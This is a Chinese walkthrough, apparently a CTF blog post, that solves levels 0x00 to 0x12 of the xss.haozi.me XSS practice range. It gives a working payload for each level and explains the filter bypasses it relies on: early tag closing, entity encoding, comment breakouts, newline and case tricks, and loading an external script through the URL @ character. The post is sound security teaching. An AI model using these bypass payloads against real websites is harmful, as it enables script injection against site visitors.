xss.haozi.me - XSS靶场通关记录
2024-12-28|CTF

0x00

需要在左侧的 Input code 输入东西直到能够执行 alert(1)

服务端代码渲染函数直接套一个 div 标签拼接字符串并插入到 html 中,那么输入 <script>alert(1)</script>,HTML 解析时会把 script 标签里的内容解析为 JS 代码并执行

0x01

套的是 textarea 而非 div

<textarea> HTML 元素是一个多行纯文本编辑控件,适用于允许用户输入大量自由格式文本的场景,例如评论或反馈表单

由于其特性,HTML 解析时并不会解析 textarea 里面的 HTML 代码。直接写一个 script 标签显然不行。不过服务端渲染函数是把输入内容放在中间,左边拼一个头标签,右边拼一个尾标签。那么其实可以提前闭合 textarea 标签使得 script 标签到外面来

</textarea><script>alert(1)</script>

alt text

0x02

与上一关类似的思路,也是手动闭合标签:

"><script>alert(1)</script>

alt text

0x03

正则匹配替换了 () 为空格,可以使用反引号代替括号

<script>alert`1`</script>

在 JS 中,如果函数名后面直接跟一个表达式可以允许省略括号。例如,alert "1" 会报错,因为双引号不是表达式的一部分,但 alert `1`是合法的,模板字面量会作为参数传递给 alert 函数

alt text

0x04

还是正则过滤,除了括号还替换了反引号。可以使用实体编码绕过,此时需要写在绑定事件里,写在 script 标签里不会解析成原始的 JS 语句

<input onclick="alert&#40;1&#41;">

点一下上面的输入框就有了

alt text

HTML 实体仅在 HTML 层面生效。实体编码是为了在 HTML 文本中安全表示特殊字符,但当浏览器将这些字符传递到 JavaScript 引擎时,它们已经被解码成原始字符

HTML 实体编码是一种用于在 HTML 文档中表示特殊字符的方式。这种编码通过使用预定义的名称或数字代码表示字符,可以避免这些字符被浏览器误解为 HTML 语法。可以使用预定义的实体名称或 Unicode 码,如 &amp; → & &#38; → &

0x05

输入内容被插到注释符中间并且把尾注释符 --> 替换成 😂,可以使用 --!> 闭合

--!><input onclick="alert&#40;1&#41;">

alt text

0x06

替换 auto on.*= > 为下划线。可以插入换行符来绕过 on.*=

onclick
="alert(1)"

alt text

0x07

这个正则 /<\/?[^>]+>/gi 是匹配所有的头尾标签比如 <a> </script> </div>

不闭合就行了,依然会解析

<input onclick="alert(1)"

0x08

过滤了 </style>,加个空格就行了

</style ><script>alert(1)</script>

alt text

0x09

输入内容放到 src 里并且限制以特定 url 开头,还是手动闭合的思路

URL 后面多加个字符,使它指向无效资源地址

https://www.segmentfault.com1"></script><input onclick="alert(1)">

或者绑定 error 事件

https://www.segmentfault.com1" onerror="alert(1)">

alt text

0x0A

也是限制了 url 并且把一些字符替换成了实体编码

在 URL 中,@ 用于分隔用户名和密码部分与主机部分。例如,以下 URL 是合法的:

https://username:password@hostname

在浏览器解析时,username:password@hostname 中的 username:password 会被视为认证信息,而 hostname 才是实际的目标主机

引入外部 JS

https://[email protected]/j.js

alt text

0x0B

输入内容全部转大写

可以引入外部 JS

HTML 标签不区分大小写,但是 JS 语句区分

<script src="https://xss.haozi.me/j.js"></script>

alt text

0x0C

除了转大写,还把 script 替换成空格。可以在两个 script 中间各插一个 script,这样把中间插入的去掉就构成了 script

<sscriptcript src="https://xss.haozi.me/j.js"></sscriptcript>

alt text

0x0D

< / " ' 替换成空格,输入的内容被插到一句注释里

// 是 JS 单行注释,可以插入换行来逃逸。写一个 alert(1) 但后面还跟着 '),再换行并使用 --> 注释掉


alert(1);
-->

alt text

0x0E

< + 字母的组合在 < 后面加了个下划线,并且全部转大写

利用 JS 的一个缺陷,如图

alt text

<ſcript src="https://xss.haozi.me/j.js"></script>

alt text

0x0F

把一些字符替换成了实体编码,但是插入的内容在 onerror 内作为 JS 代码解析,所以等于没替换,依然能够解析

');alert(1);//

alt text

0x10

无过滤,alert(1) 直接就行。 JavaScript 的赋值语句在执行时会先求解右侧的表达式,然后将结果赋值给左侧。alert(1) 的值是 undefined

alt text

0x11

给一些特殊字符前面加了反斜杠以转义,但是依然能够手动闭合和注释

JS 在对字符串进行定义或赋值时会进行一次解转义,将字符串中的转义字符(如 \n、\t 等)转换为对应的实际字符

例如:

const str = "Hello\nWorld";
console.log(str);
// 输出:
// Hello
// World

s = escapeJs(s) 会进行一次解转义,所以 replace 加上的反斜杠又没了,var url= 再进行了一次解转义,会把替换而成的转义字符转换为实际字符,就没有转义字符了。所以这个 replace 操作实际上没有起作用

");alert(1)//

或者

");alert("1

alt text

0x12

把双引号前面加了个反斜杠以转义,直接用双引号不能够闭合

可以在引号前面加个反斜杠,使得自己加的这个反斜杠把后面被加上的反斜杠给转义掉,这样它就不会转义后面的双引号了

\");alert(1);//

alt text